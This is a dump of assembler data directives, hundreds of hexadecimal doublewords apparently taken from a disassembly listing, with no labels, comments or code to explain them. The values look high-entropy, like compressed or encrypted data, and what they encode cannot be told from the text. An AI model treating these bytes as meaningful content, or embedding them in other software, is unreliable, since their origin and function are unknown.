dd 0C69F0974h, 0EB10FFC0h, 0ED65800Bh, 905977C2h, 0CB3EB89Ch
dd 0BF92DDA8h, 0F140890Ah, 7505390Eh, 62A44BE2h, 0FA61E7FFh
dd 0F5E4A20h, 0C32BC623h, 497D2DEBh, 2C3B1536h, 1D4B8974h
dd 66348CD8h, 23F48ED1h, 10522290h, 0A3403C09h, 84801207h
dd 0CFF16E4h, 200A26E5h, 308118EAh, 0C4060AE9h, 9989BB39h
dd 4594EBF0h, 0CAB793D6h, 346E550Ch, 2E038F9Dh, 8F070ABAh
dd 23020444h, 0C8C6BFCAh, 357FC817h, 0CB4F0EAAh, 0CF4F2A8Fh
dd 67D01D09h, 3C1969DFh, 4B2D0311h, 44FD6E25h, 374889D9h
dd 8D041390h, 0F3E7BE2Eh, 5473229h, 6261A57h, 0C6529D11h
dd 32AD0E54h, 8DBA974Bh, 0BAA4044Bh, 122E8899h, 1FD0EBFDh
dd 7C74C785h, 0F40D2A13h, 0E24997D4h, 2A382514h, 0A81438F9h
dd 811AB540h, 10A741CEh, 0C449FEF6h, 0B272350h, 85161F7h
dd 5B821555h, 41287D0Ah, 8AC8A50Ch, 60BA242Fh, 3BFFCF0Bh
dd 364B09DFh, 0EB1844EFh, 24FB3E5Fh, 0F7A2FE41h, 0F46EC35Eh
dd 0EA08D4EFh, 0B09268E9h, 564E12EFh, 1B758371h, 30D9DFEEh
dd 7898D6ADh, 6D91C78Bh, 978DEF13h, 66099C45h, 9197CA09h
dd 83908A7h, 59B9F862h, 3901435Fh, 0CB0BF34Eh, 74B0010Ch
dd 0B5D4588h, 0F31FA577h, 508848CBh, 78752D2Ah, 0A838F85Ch
dd 276F9F6h, 0EA826E4Fh, 76455DFFh, 84145125h, 0E8810E75h
dd 0F7A492FBh, 67EBEE74h, 0A136E3Fh, 0FF4A3AB5h, 0F3AE5334h
dd 1675130Ch, 1A2808BFh, 3F80CA22h, 79B7BB41h, 0EB129293h
dd 0E550B150h, 1AD5B2BEh, 543E12D3h, 681919AAh, 676BC20Bh
dd 6108F427h, 5FFA07A0h, 6A205861h, 4CE86634h, 3F7CF4E7h
dd 0A10B1823h, 75222BC4h, 3E75CB22h, 0A4A94B44h, 4F253B56h
dd 0E6143449h, 0C6A0C2C2h, 1C841DEBh, 0C847EC56h, 0CD181153h
dd 0F30195CEh, 4445A358h
dd 0B0064A25h, 5B951C45h, 9321B805h, 50CA31A3h, 8B734A34h
dd 65C42B36h, 27399444h, 3265185Dh, 49E38E20h, 2084932Dh
dd 188832B3h, 17FF40CDh, 0E16374AEh, 0BA81441Ch, 7AF6C712h
dd 8509EAD2h, 0CC51F7DCh, 8C840C45h, 84D781BDh, 5E81BD0Ah
dd 9429040Ch, 605652E0h, 0ED563A68h, 0D725AFA7h, 65086125h
dd 8D04D0EEh, 97BFCC65h, 65562EA2h, 5DA0FD72h, 2C8AE296h
dd 92954022h, 0A71BDE3Eh, 0F4EB0BDFh, 1265CFB8h, 0EA38D466h
dd 1C06EF16h, 19F23977h, 36580888h, 29C23F8Dh, 3F765E65h
dd 4F66B7F0h, 89BA504Fh, 0F4352FE1h, 88E998AFh, 0C9797148h
dd 16375106h, 6C68EA0Dh, 0A179975Dh, 0D9A0B44Ah, 87AA154Eh
dd 0F172297Ch, 0DC6CAB9Dh, 0D758ADE1h, 7EA51851h, 1D39C845h
dd 3BC48524h, 0F24DF8FCh, 0F1660712h, 1389362h, 0E12F14B9h
dd 564B18D1h, 0A14D62D3h, 98A18A92h, 70392A7Eh, 2F197C64h
dd 8AEC933h, 2A34F16Fh, 562D36F2h, 8DA81D4h, 758C2D98h
dd 0F72559Dh, 15E3805h, 0D8A1934Ah, 0FCD184EBh, 5045763Eh
dd 0E43FDCA3h, 0BFEDFA0Fh, 0CCCAEB0Ah, 0F9807001h, 15734019h
dd 6D4200Ah, 0C2A5090Fh, 6406E0D3h, 0E1FE8CD0h, 0E27A1F7Ah
dd 0D29F10DEh, 8D524E7h, 95566AF0h, 509D14CCh, 8F0CBE6h
dd 89327727h, 0BE2E7584h, 0BC4B0DB8h, 68BA04Eh, 0FC467F3Bh
dd 1C6A9709h, 8940DB83h, 5858F6F3h, 0FF110D74h, 0D2E300Eh
dd 2E230F42h, 0C328D3E2h, 18883711h, 462DE93h, 445FEF24h
dd 973798ACh, 0E193FA71h, 5689F5A9h, 74A7A8DCh, 38024195h
dd 0FE902B7Bh, 67D0F70Ch, 5C080F23h, 41FF0B14h, 6A0D396Fh
dd 4E3A291Fh, 0FD2ABAE1h, 86088DADh, 50CDF7C5h, 383ED86Bh
dd 0BC0D3045h, 0E055A692h, 9E90575Bh, 58106A19h, 0F6710412h
dd 0EB9B331h, 1004EEC5h, 2044605Eh, 89558201h, 0D17A28D7h
dd 0CBB70F04h, 0BED1E681h, 0BF5AD23Fh, 0D6FA10D5h, 44AE94BDh
dd 7FCDEF1Fh, 119114E1h, 0D6DC5008h, 8E0B7538h, 0AE07EBC7h
dd 800380C5h, 2E2301CCh, 90D5ECFh, 208DCD3Bh, 0CD88F68Dh
dd 5F6E304Dh, 0C715F65Dh, 685A5B10h, 56519278h, 50AE7B44h
dd 77B48A23h, 1090C898h, 8C980122h, 88D49FDh, 0CB298BA2h
dd 0CA8888BAh, 0F81D65BEh, 0A304D671h, 0FB4CE3Bh, 0F80D6975h
dd 0A087B86h, 48648E7h, 18EF5AD6h, 0C745F9Ah, 75514FD8h
dd 0C70B4A06h, 5EC24284h, 20835088h, 104BC98Bh, 2041311Ah
dd 49AF2A20h, 622C1F4Dh, 0BFF9101Eh, 2B175016h, 2483CA39h
dd 3FFFFFh, 0B01485D2h, 0FA461C75h, 7D0307FEh, 0BF048D11h
dd 0E96380Ch, 58C01CCFh, 0BDF27C23h, 7E2790FCh, 497DE916h
dd 0FD6920D5h, 4D174F41h, 1830ACA8h, 591F2EB3h, 42A455DAh
dd 37998458h, 0ED439793h, 784E27D0h, 0B939D31Ch, 14065BBh
dd 0EFD0172Dh, 5619D04h, 3EF965E7h, 527A0DDDh, 5B19BE94h
dd 0B23E59BAh, 15F187Fh, 535EC3CFh, 0C827B499h, 14A4ED59h
dd 5D8A5E1Ah, 8974C842h, 2B811124h, 0CE8B5AF2h, 4085BC42h
dd 0B543215Eh, 96397F30h, 0FF45594Fh, 0F32570Eh, 0FC3969DFh
dd 0E6B945D3h, 0BBF2C05h, 0C120210Ch, 0C13B40F8h, 0FFA1289Dh
dd 289DC814h, 5895DA82h, 284ED613h, 95B60884h, 38B0544Dh
dd 348930BEh, 4060149h, 5EF5754Ah, 4C4B25EAh, 5F02ABCFh
dd 52A7ABB9h, 0D26A06Ah, 0F9468441h, 0CA6A2555h, 29937304h
dd 5B165B2Ch, 997809AFh, 66D5A909h, 7FCF8212h, 540CD711h
dd 0C497BFD8h, 0E62E01A9h, 0D6F1DA2Bh, 0C855027Eh, 0DBACCE23h
dd 0B6FE823h, 0AE205B3Eh, 85CB4B18h, 0EC4E1674h, 75EE44ACh
dd 0F498DC60h, 0EC5B026Ah, 1E08EAF7h, 42E6C159h, 0F7CDF3Bh
dd 0E7FEC2AFh, 10041F40h, 0EB1ADBB4h, 57BD6267h, 0D54BE661h
dd 0E079F8E9h, 6470F99Fh, 8BF2BE18h, 481FEA48h, 13D9D30Ah
dd 0A937D530h, 6647E71h, 20DF40Ch, 0B409C330h, 5DE38110h
dd 0EBB2E1E3h, 49957C55h, 243086FCh, 0FDC001FBh, 5D404AFEh
dd 0F4161578h, 7DD3F633h, 5F94A43Ah, 29EF36BEh, 21DC1289h
dd 0D5D6D6F5h, 12BE3C8Ah, 1A22552Fh, 450EFEB7h, 22620877h
dd 95595D35h, 7C430109h, 2CE62078h, 264B4F2Bh, 3F0C14F1h
dd 3B3CEBA0h, 3F7FD809h, 7E54092Bh, 4618C836h, 565013C1h
dd 3533B0Ah, 0C2869A4Bh, 65243367h, 1B20B234h, 0F5D3F998h
dd 287C1FE0h, 62CB53AEh, 0A3C7560Ch, 778B8427h, 7473D714h
dd 0DA28437h, 8F3FF72Ch, 2A658025h, 30A227Fh, 7AA524F3h
dd 83C192D6h, 7F38129Eh, 1941710h, 1BD9F7CDh, 505E62C9h
dd 0F1720B30h, 2445D0B5h, 34ED40FFh, 0F836922Eh, 9C08437Dh
dd 80A6F83h, 5752024h, 6C31A4BFh, 0DF086862h, 0D9D60189h
dd 0D9903B70h, 0E202CEBh, 0FE256592h, 0BF712689h, 0D5CA0D57h
dd 0D0A24450h, 3CA2EF20h, 240A3FD4h, 885D2DC9h, 7752123Dh
dd 0BEF547EEh, 0D84ABB38h, 17E0054h, 853006C6h, 0F2C7FEDBh
dd 6B589F1Fh, 52973379h, 25D8B7D5h, 4144BE75h, 885A1630h
dd 3503FF10h, 5EE97508h, 8E08F16Fh, 0E7127C50h, 0D543539h
dd 0E8BE1DFEh, 22409FDFh, 0FE70F5EBh, 31613EF8h, 442FF18h
dd 9D5712F0h, 3BF143ECh, 0F35A41CAh, 705689FAh, 9D575205h
dd 595D3E83h, 423787FCh, 0B578C868h, 1118609Eh, 71FC8B41h
dd 0C16673A5h, 0A3734939h, 7C2FB2F0h, 5878318h, 67157FCAh
dd 0DF5F0BE8h, 0FA2E685Fh, 0C70BCFECh, 0CC0DF46Ch, 1CB809CAh
dd 74EB5E13h, 6658C823h, 61742F4h, 7584FFBFh, 64254F82h
dd 0F1C14CCFh, 5BCF2316h, 34C72E24h, 0D9D0C212h, 5A7144D7h
dd 5B5B525h, 5481BFCFh, 147B1374h, 0B938281Ah, 9CE93C27h
dd 77E932BFh, 8C23215Ah, 0A5D3A312h, 0AF8853BFh, 79668E23h
dd 4BEB320Ch, 0E229014Eh, 2C8A6303h, 1C0815AEh, 43C85B0Bh
dd 0E78487B5h, 0A957BBE2h, 0CECB0403h, 8E561DABh, 0DA80C903h
dd 0B1FEBC1h, 0C8DD905h, 40058912h, 53AFC781h, 0EBB3047Bh
dd 0B13D1DFh, 489A89CFh, 64F97408h, 0D38AA802h, 63962EAh
dd 14E5315Fh, 3A850E0Ch, 1597F24Ah, 4DEAF8A1h, 0E4142D2Bh
dd 2DB842A3h, 16218809h, 5E33A427h, 680BCAE8h, 62C94F1Ch
dd 87A31210h, 35C6C318h, 0D612860Fh, 8A5884C8h, 0F6266E6Dh
dd 749359CDh, 6C3884F6h, 4987601Ch, 3C9D9FE3h, 0A4E6A18h
dd 16DD08C9h, 64C0F8Bh, 315F0FEh, 0A2B11DCDh, 0D9EA04D2h
dd 0F8A60256h, 0F2DD064h, 64245AB6h, 0BA84244Ch, 4F751188h
dd 0A09EC41Ch, 8C900ECFh, 92450416h, 7F230383h, 0F998953Eh
dd 0C4970175h, 9810B70Bh, 0B86BFFCh, 0D5C06842h, 9FEDEE57h
dd 0EA6781A5h, 681326A2h, 7ABDA560h, 0A0A3BAA4h, 7250742Ah
dd 0F011A468h, 0A308A13Ch, 0A97AC0C1h, 0F04320Bh, 0B70C88A1h
dd 0D0FF1685h, 0F24796BAh, 1104A129h, 1253050Ah, 0C8D0DE25h
dd 1522B204h, 18FD4E8Bh, 9FF8EBB4h, 817FC66h, 0A1E0AF0Fh
dd 57E019FEh, 2E771689h, 0BBA47DE9h, 4B7794B4h, 3D72EB58h
dd 3000DA1Ah, 771DA005h, 7E97502Eh, 4C755097h, 9BB60D98h
dd 8CEE1A92h, 1C8E12D4h, 69FFA3F8h, 93F1221h, 0CF770865h
dd 24750956h, 42CB6C77h, 19DDDE1Bh, 0D7568BD6h, 2B503DAAh
dd 560A44BDh, 92B1ECEBh, 356C2F5h, 0BF5E9485h, 8744D1D8h
dd 40F62F85h, 0D94C41Dh, 3BAA8595h, 5078D8F2h, 2A14BC47h
dd 0FE24177Ch, 19B05034h, 590DA891h, 0E1247E83h, 2FC8F76Fh
dd 9C5AD3BCh, 3A7F2DB8h
dd 0F505DE8h, 3B270390h, 6407DE1Dh, 0DFEE2415h, 44F60F0Ah
dd 0D3E033C8h, 7FD08AF9h, 8D98EBEh, 1324FB3Ah, 183DFC84h
dd 5BD62A91h, 0A22BEED2h, 5E6F7EFCh, 0AE8D4731h, 6E7FF009h
dd 0E151B5D5h, 4D273320h, 14A77178h, 3BC1930Ch, 42027DF8h
dd 2A9350A4h, 67FD53BAh, 4A08956Fh, 0D7EB180Fh, 9FDA2B2h
dd 750A7505h, 7896DA16h, 4E212F2Eh, 25EF582Dh, 0CB627D40h
dd 9208111Ah, 0AA300B06h, 33E1BFABh, 80EA1404h, 0F61BDE23h
dd 19AF08D6h, 4A154843h, 0CD8D4A45h, 0AAD242Fh, 5AD0083Eh
dd 0EB5FE081h, 0C0693A0Dh, 0E1974038h, 0D9A37AC9h, 319C02Eh
dd 72CA3B32h, 73CE42F7h, 33C1FDD2h, 0A895E10h, 2D97F77Eh
dd 3786E97Ch, 106936C9h, 1725BFD5h, 14AD63FFh, 1430FF54h
dd 46F103B3h, 77174708h, 56184A77h, 727817E7h, 56C6D674h
dd 9F3078BCh, 3CE3CE0h, 0D6BCF65Ah, 163F3417h, 0F1A60FC6h
dd 3F71E8D7h, 4709FD7h, 0D14BEA5Fh, 68C6F4E1h, 3650E62Eh
dd 0F25E93FDh, 0E66C0CFBh, 0B19E93Ah, 81D89CEh, 19BFE7F1h
dd 36C9EA2Eh, 0FDE74056h, 99F76F5Eh, 0ACD8164Eh, 0FE33256Ch
dd 0C1561309h, 1404ED2h, 53C81389h, 806C104h, 2B575176h
dd 0EF3C5F4h, 0A5F07D8Dh, 0E623E53Fh, 53BD8043h, 443BBD06h
dd 10A4220Ah, 5C95429Ah, 0BE0FC34Fh, 213C8068h, 0C8D0DF52h
dd 6FA3CD3h, 0C8B6752Ch, 0AC395F37h, 92BE2885h, 4CC0C164h
dd 43508910h, 859F03A8h, 1FFAEE98h, 9CD2685Fh, 0FE81A0A2h
dd 827389FFh, 0D3EB03FEh, 4F1076BEh, 49106499h, 0FF3D9166h
dd 66C5F951h, 5EBAE2BDh, 0A70A80E5h, 0F95C2512h, 0EE1019FFh
dd 4E4F6CA4h, 5AC0DC04h, 0E80C88ABh, 0C4FCA97h, 81DC068Bh
dd 4D402E0h, 10E408D0h, 0E9EC3FF8h, 87A3575Eh, 0B3A7420h
dd 0E70AA009h, 0D0205E9h, 0EB4729E0h, 46AE702h, 0C01F8A5Eh
dd 120BF86Bh, 0B477870Fh, 8513245Fh, 34005943h, 7C31FB80h
dd 390AC20Ch, 0B1C2077Fh, 3A47DEE0h, 79F32BE3h, 22051E64h
dd 5D447D72h, 1E742B0Eh, 0E133D48h, 0D4C123BAh, 45357961h
dd 0A7F6AD5h, 41CED837h, 2EA7EB58h, 20B367B5h, 9F409E12h
dd 7C31F0A2h, 0AE7EA505h, 0E86E4B49h, 33229B06h, 2D0A318Ah
dd 30072CAAh, 430052A4h, 2898E0Fh, 7E4518A0h, 0C8631240h
dd 65677B1Ch, 15728F93h, 7E066A13h, 0B2A4F3Ch, 45A68408h
dd 564C9609h, 5863B584h, 9D196859h, 1B50894h, 55C28B0Ch
dd 0FDF96544h, 3F0D8639h, 45E17E4Ah, 9D6FC821h, 5A42404Dh
dd 71970EEBh, 0A8DFEB64h, 0F825D6C1h, 731910D5h, 0DEFD4A10h
dd 30EB800Dh, 4277E60Ch, 82A7502h, 0B7A4BF2Ah, 8467E50Bh
dd 5B5B5B45h, 6C3BF86h, 750D75DCh, 89019AEFh, 714EF328h
dd 11191CA2h, 0E88B6D1Ah, 4AB94702h, 0AD40423h, 12222D33h
dd 45EFC501h, 0ED5E2683h, 0F55A6185h, 0E025E859h, 248D57A3h
dd 498CFE4Fh, 0C48CA30Ah, 0C6C89D44h, 24376424h, 86A0101h
dd 0B29465EBh, 58ACDE0h, 67F64683h, 0F28C0F12h, 6C06AF35h
dd 3113E98Fh, 7C290AEBh, 7F21870Eh, 58226A09h, 830A464Fh
dd 0C1EBB131h, 7494916Ah, 0DAB5B32Ah, 0DBBB6FFFh, 6BC014CDh
dd 83894AB8h, 748A25Fh, 82FA858h, 0CC4F0AE3h, 0A55A80C7h
dd 63A89512h, 0DF4B24DAh, 1A481112h, 339C61EAh, 1FA32FF6h
dd 719F1CACh, 0FCB61C80h, 0FE1981C0h, 7F7A1450h, 0E2BEC34Ch
dd 0A819D651h, 0A94A435Eh, 4FD03811h, 0F936C27Eh, 19AC8454h
dd 84387E32h, 6A41D9A4h, 20395818h, 150076A8h, 5BB7D80h
dd 0F7FE037Ch, 7C907DDAh, 219A48F4h, 13D2EB7Fh, 860F1220h
dd 8755D6A5h, 9B570988h, 0F2372DD0h, 0A45D91F7h, 0F12F1A2Fh
dd 84DBE561h, 0C933E456h, 15B554EEh, 0F78D7D3Fh, 964803D8h
dd 9519E014h, 0DC021810h, 1C822B07h, 7EC2903Dh, 45CB730h
dd 0A7E47E6Bh, 43FA2B5Dh, 0D4C824EEh, 33600265h, 11DAB8DBh
dd 0B4B33B4h, 9F5C5073h, 3D5E9890h, 0CBBFB074h, 0D0201056h
dd 0E4349E01h, 8FE4A9ABh, 7A0E0D02h, 0C29220E7h, 0C6CAC640h
dd 72B5EBFBh, 0F6408697h, 0ACABF496h, 493C80Ah, 0C8AE1544h
dd 17A50F22h, 4D8587A1h, 0E3800B08h, 7371895Fh, 2592E06h
dd 0A410C9Ah, 0A2BAEC92h, 12A1115Dh, 12F8550Ch, 48B20964h
dd 563788DCh, 0E422AE11h, 44572E20h, 7C89920Dh, 5B2B4812h
dd 97451738h, 0C80978F4h, 2FC851BEh, 0B840E692h, 0C93A8566h
dd 3223C857h, 24E508CCh, 91E748E6h, 44E922E8h, 0EC89EBEAh
dd 0EE22ED12h, 3FEF02FBh, 4AF0EED5h, 3EEFCD0h, 0EB2D0243h
dd 830D4A04h, 98090CC8h, 0E11E75D2h, 873B1AB3h, 0E31597E6h
dd 18852383h, 1030819h, 9A300480h, 0FD4B136Dh, 7A25A066h
dd 80B2A7BFh, 0F03C7A2h, 0E3D3F8CFh, 0F70F1F5Ch, 0E0402BF2h
dd 0B48468FBh, 46EB0ABAh, 15748497h, 5F06ED81h, 221D1D84h
dd 7C682E85h, 670F1A0Ch, 1DEC8423h, 23746833h, 99B45F8Dh
dd 5D19200h, 694019F2h, 6C682BD6h, 0C006C41Dh, 0B70FE181h
dd 0CF4B9490h, 18E92200h, 0B410C069h, 0EE8B3C55h, 645D6608h
dd 0C8D1298h, 555E004Eh, 4DC96BFAh, 0F67D7DECh, 9301B43Fh
dd 46F4BCEDh, 0A0FE4AC1h, 0F13F2CEh, 3A13C6BFh, 65BC85FBh
dd 66D140DDh, 0FFFA7D81h, 82723F25h, 0B046E421h, 71EE4D19h
dd 57F64C59h, 33900131h, 7D677074h, 36D1464h, 547F7CF0h
dd 67499108h, 0C58323EAh, 0F7C7EA15h, 86055F45h, 8FBFA75h
dd 0FB373FADh, 22AE78ABh, 4686081Ch, 0CA804326h, 75591C02h
dd 1FC5EF1h, 81DEF717h, 150422E6h, 861D0D7Eh, 58364EAEh
dd 12AF3F3h, 122A2DAh, 507E1C9Ah, 0FA14FA60h, 90F07375h
dd 0A3A57112h, 50E2B425h, 8CF0990h, 228A0D35h, 938AE716h
dd 0CA4B8BFBh, 94F28FDh, 0A430444h, 88021EE4h, 0D6B67501h
dd 1C8A1636h, 8080B962h, 4B8D35F9h, 30047C04h, 0F72C13Bh
dd 622E6A9h, 0F1EB4813h, 400B4DA9h, 8E0EFF66h, 2CC32A03h
dd 544288B2h, 80C008C0h, 4186416h, 90FB29BBh, 30250C61h
dd 0F46417F2h, 4DBD95Bh, 80300972h, 0C95D0563h, 0B96FD385h
dd 0C7D89DCBh, 0C95974D8h, 0A4DD4609h, 30F41E1h, 100A3CCAh
dd 0B5063F2Ah, 0CDBF2E18h, 2F5A40AFh, 145B358Bh, 5B8950Ah
dd 1A34EB0Ch, 8EB8410h, 9188127h, 571A10D6h, 33068791h
dd 0FF70708Bh, 0BEF41CEh, 900C3890h, 0FE830905h, 0CD38FC01h
dd 7BBE6C9Ah, 53C7A8BEh, 4A3B508Ch, 0F708BAF9h, 24DF4B0Bh
dd 22EB1D1Bh, 68E2580h, 0E157361Ah, 0D43A153Ah, 0C032EAA5h
dd 2605298Ch, 89BB08h, 0A1283986h, 0D6B02BD0h, 0F20DA7EBh
dd 1E7D0441h, 0EC40148Dh, 0E5E14F32h, 2283258Ch, 0C0BC206h
dd 0F7F77549h, 9208585h, 0FBD60E4Bh, 0E28D651h, 7D83874Eh
dd 7891EAEFh, 80A8A13h, 0F2A77B89h, 0A2A3F6E9h, 5BAF0429h
dd 6CEA5684h, 10875CFBh, 3205A816h, 0F4905039h, 82FCB675h
dd 0FD127514h, 7370BFFEh, 393CB75Ah, 8A8054EAh, 0BD08D24Ch
dd 0FC3E3C9Dh, 254627B4h, 81E0D609h, 0F80575A7h, 0EB0D7FE1h
dd 167C810Dh, 0FDD9E56Ah, 0CAC9FD11h, 888318DEh, 8725660Ah
dd 3AC0364h, 163CCB5Eh, 0EFDB0AEBh, 244C324Fh, 66E76C5Eh
dd 8B0A4BE2h, 0EC04418Bh, 0E4CC4169h, 0DAB84626h, 92BAF92Eh
dd 23F83340h, 28CAE4C2h, 357EE781h, 9243D66h, 6B210146h
dd 0DFB8830Fh, 0BAC3215Ah, 0AD16217Fh, 0BFFDFA87h, 33A287B2h
dd 7A773FD1h, 0E33A6092h
dd 0CB8AAE30h, 52787F02h, 56FB85B5h, 2C89E3A1h, 0F074639h
dd 0BB06570Bh, 4F8D7A76h, 0A42A20E8h, 1FA11EF7h, 39160053h
dd 113ACE43h, 5D8B03ABh, 0B4A91BFDh, 5B50F4F4h, 566A2409h
dd 111AF898h, 8B31050Ch, 2BC00320h, 7E1492E8h, 124CEA49h
dd 0E0D10825h, 4D4A763Fh, 0B46489FAh, 1CEC1218h, 63090667h
dd 181DC1AFh, 857983FCh, 31FF5051h, 68B86E3h, 1AD41929h
dd 0A10256B3h, 0C0D2F46Dh, 6675E866h, 12FC1AC8h, 0C18B0D9h
dd 9C7F5940h, 292A081h, 2C0BB9C0h, 257E8BD5h, 80E74182h
dd 0C275C58Bh, 10A3D33Eh, 141ED108h, 8A07E27Fh, 0E681639h
dd 682BAEB9h, 920C1E35h, 0EB8B0A01h, 16DC7C9Eh, 0EC448274h
dd 4BAE41B0h, 0EA6530B8h, 0F8FCEC4Eh, 0B7CB389Ah, 77230FAFh
dd 3E4B8B0Fh, 0DFEFD87h, 0A8C1A3Dh, 0DE423575h, 0C3B942BDh
dd 0AA1EB58Ch, 1D14E299h, 57196E07h, 4146A8E6h, 87DC31ABh
dd 2152BD0Eh, 10CA06B1h, 0ADF4BEEDh, 0DEA723E2h, 0A733548Bh
dd 871B5E73h, 0C70BD25Bh, 0A80EF6E1h, 4E323B10h, 6E40C02h
dd 0D9A11E06h, 0F7368EEBh, 5DFF8BDFh, 2ED78E2Ah, 0C736BBF4h
dd 832C6408h, 7E0B4426h, 0EE9CD708h, 38BB5309h, 0FEEEAFD8h
dd 3960EBC4h, 63741680h, 8645BE7Dh, 28D998BBh, 0F5F55AB5h
dd 0E2101752h, 0FC710F84h, 411122E8h, 830B5756h, 0A45054C3h
dd 2FCB034Ch, 2E987007h, 979A8D27h, 0C23D1A81h, 0C7AD1463h
dd 0F47DE185h, 6402A8A5h, 61C5F64Eh, 9F5D56E9h, 7F7EC89Bh
dd 2DFEC34Bh, 6EF96B92h, 12F18B13h, 3405521Eh, 16A7EF0Bh
dd 8B1BFC49h, 0C9811ACEh, 0E8092FB3h, 566906C2h, 127944Ch
dd 6C70C4Eh, 405B2C90h, 40D27719h, 55F345FFh, 9B84EE64h
dd 0B87CD0EAh, 2D9D7688h, 0DD895062h, 0E257BA50h, 78D8468h
dd 5F8506F8h, 7441459h, 6AE2B80Ah, 4022313Bh, 0B7CC651h
dd 7D56F01Ah, 0C71907D4h, 5350AC12h, 0AADD5402h, 48DDD4ACh
dd 51025068h, 6468B04Dh, 8D5AA01Ch, 0C9C610F6h, 216A849Dh
dd 0C7D16851h, 103089EEh, 56B8BAD5h, 6C5075F4h, 0F3EAC130h
dd 0BCB06850h, 42ADC837h, 6E902AA7h, 90F3457Ch, 0FE81C420h
dd 9F801068h, 3F66453Bh, 42875542h, 15F57C20h, 0B54EA7FFh
dd 70234F24h, 0D2AEC87Fh, 7E6B0623h, 0B80ACC8Fh, 46E94818h
dd 0CAF1761Ah, 4584F090h, 53E1D1Ah, 7C570CC7h, 0F915F42h
dd 877752D0h, 5D29CCC4h, 182B02F2h, 82A15645h, 28A52A10h
dd 608DD827h, 0B868D051h, 0A2EB838Eh, 2EA832CCh, 2DFCD35Ch
dd 51CC833Ch, 1BA8E47Ah, 3DABF868h, 1A649DECh, 68DE081Eh
dd 8211DEB8h, 0FFB01068h, 726C1025h, 5AA40C20h, 0C0E93471h
dd 0C750A3Ch, 0F7A718B9h, 8387FB09h, 0EC176E05h, 8953F1F0h
dd 0C4163962h, 4E90A310h, 4D180BEEh, 74252F52h, 579F090Bh
dd 86555929h, 0B617036Ah, 0FF4B3F8Eh, 0F20EC15Bh, 8309A1DAh
dd 0F0F009FBh, 80050D76h, 804257C3h, 1988300Ah, 3FF68541h
dd 21B8DA77h, 178A490Eh, 11EE014Fh, 4720074Fh, 0F272F93Bh
dd 94BF5BB2h, 75531376h, 7FCDAF3Ch, 0E719FB70h, 775A8686h
dd 412C0D09h, 0C30CB472h, 0B8022420h, 0DD5A703Fh, 22419C25h
dd 7D20C025h, 74DB9B10h, 3B3A3775h, 0EBCE89D8h, 2526D130h
dd 581BAC57h, 50463906h, 0C12EF152h, 71A31E4h, 3394F747h
dd 105F4B59h, 0DC303040h, 0C8B70FF2h, 2BC306C1h, 0BD2A5BC1h
dd 1E529D75h, 0BACF74ABh, 3BED7434h, 0AD560B13h, 0B1A3D72Fh
dd 0EC221948h, 254166BDh, 9AD55107h, 214A4C3Bh, 12D29054h
dd 17F4621Ch, 3DF1AF1Ch, 0FB08F192h, 37FF8AF4h, 0A5C9507Eh
dd 0C7F8595Bh, 0A348190h, 0C782282Eh, 48B64DB0h, 3D0A804Dh
dd 6996F896h, 746EA25Ch, 21DA7425h, 0A3137148h, 0EB0D4931h
dd 43F75E06h, 83094A31h, 0F1A80879h, 9740146h, 580471FFh
dd 42BFC3A2h, 22A5C6EFh, 0F4977CFCh, 68575117h, 10BE0902h
dd 8254AE7Dh, 5BA5F3E0h, 0C17227E1h, 0CEA3F44Bh, 0E04BE420h
dd 0B8DA54ECh, 92C6D15Dh, 0A8FB8D51h, 0B127A32h, 64B8C9C0h
dd 0CA4611A2h, 0C9D65248h, 34D02D4Ch, 10916B8h, 72551473h
dd 5802176Ch, 1B79E26Fh, 387B6606h, 0AE4F6A34h, 0FB0CBF26h
dd 1A13FE15h, 56C838EFh, 821C3640h, 4742903h, 0D1FE0D25h
dd 0BE7D4542h, 0F6028E7Eh, 0C0203539h, 5918FF13h, 465708BFh
dd 0D0208E56h, 99DD489Ah, 1CE6578Eh, 203D8943h, 42752347h
dd 20303F58h, 14384C0h, 583044E2h, 4AC832Dh, 7548013Ah
dd 2E8687Bh, 5B744B31h, 57A657DAh, 0A45FEC6h, 0EC8E166Eh
dd 25E4A884h, 4BD30CEBh, 5FE5F692h, 0AEEB1B2Ah, 5DB2AEBCh
dd 0FFE05140h, 72571CA1h, 4FB6D311h, 34E25B24h, 4BD68BCBh
dd 0C2BAD412h, 0C7DF95A2h, 49DB2D33h, 0F6E271EEh, 0DE73023Bh
dd 53576074h, 0DA2F5695h, 0DF64B729h, 81B41C4Bh, 0BDCCB0C6h
dd 9A7E0D42h, 7F1857B2h, 2214B8E5h, 0A81C3FBDh, 6EB79504h
dd 0F892D669h, 9810E43Ch, 8BF75195h, 7C02EB66h, 6FB75EF5h
dd 0EA0F1273h, 0DF09E892h, 0F976740Eh, 0FA27675h, 2B1A8675h
dd 0F8D12D45h, 511378F3h, 208CAC2h, 8893474h, 0C4109025h
dd 0D2BF025h, 20BA8C4Eh, 23EB41D3h, 0FC1D8C99h, 0B84E4778h
dd 0C1588517h, 5AF7A2AFh, 63E95C1Bh, 0C4D663Ch, 1E8085Eh
dd 48A28B48h, 24A1893Fh, 0FE5426ABh, 0CDF8C712h, 0C25721EAh
dd 2431014Ah, 17266A37h, 61E4F364h, 1D0C745Ah, 187D2184h
dd 3344E6Ah, 0D9C2E24h, 0ECB78C18h, 789BB57Fh, 66657DDAh
dd 8413D4C5h, 6F772DEAh, 0D421F5DFh, 0F5D682B6h, 2E26EA2Fh
dd 0F95592CAh, 0C390694Bh, 559C8789h, 36448D09h, 0B599702h
dd 9ED40BEBh, 1381F6F2h, 0C7342255h, 0FFB5B25Fh, 3C8D4D01h
dd 1F34CC09h, 0E48B790h, 4E0A63BEh, 460C49FEh, 0BEEBD834h
dd 3835C72Dh, 197E3491h, 3E101974h, 9D129274h, 0C6C5CFD4h
dd 3E9A17E8h, 0CCC74747h, 0F54D8D12h, 0A306F142h, 8372476Ch
dd 27B30152h, 88764608h, 24B8C316h, 40657ED0h, 0CCFBC201h
dd 0D142CA1h, 0CEE41090h, 1D7F0AB8h, 0C308AEFh, 0B6EC78CCh
dd 90B8420Dh, 602312B3h, 80280AE0h, 4A4CF124h, 10F02312h
dd 3672A470h, 5AE114D0h, 60EB01h, 0
dd 7501A500h, 309658h, 612C7707h, 51BAEE0Eh, 19990907h
dd 8FD06DC4h, 706AF4h, 0E963A535h, 9E6495A3h, 0DB883200h
dd 0DCB8A40Eh, 3D1E7E79h, 0D980E0D5h, 4C2B97D2h, 0BD0009B6h
dd 77EB17Ch, 1E7B82Dh, 90BF1D91h, 0D8B71064h, 0B00020F2h
dd 0B971486Ah, 41DEF3h, 0D47D84BEh, 0E4EB1ADAh, 516DDD0Fh
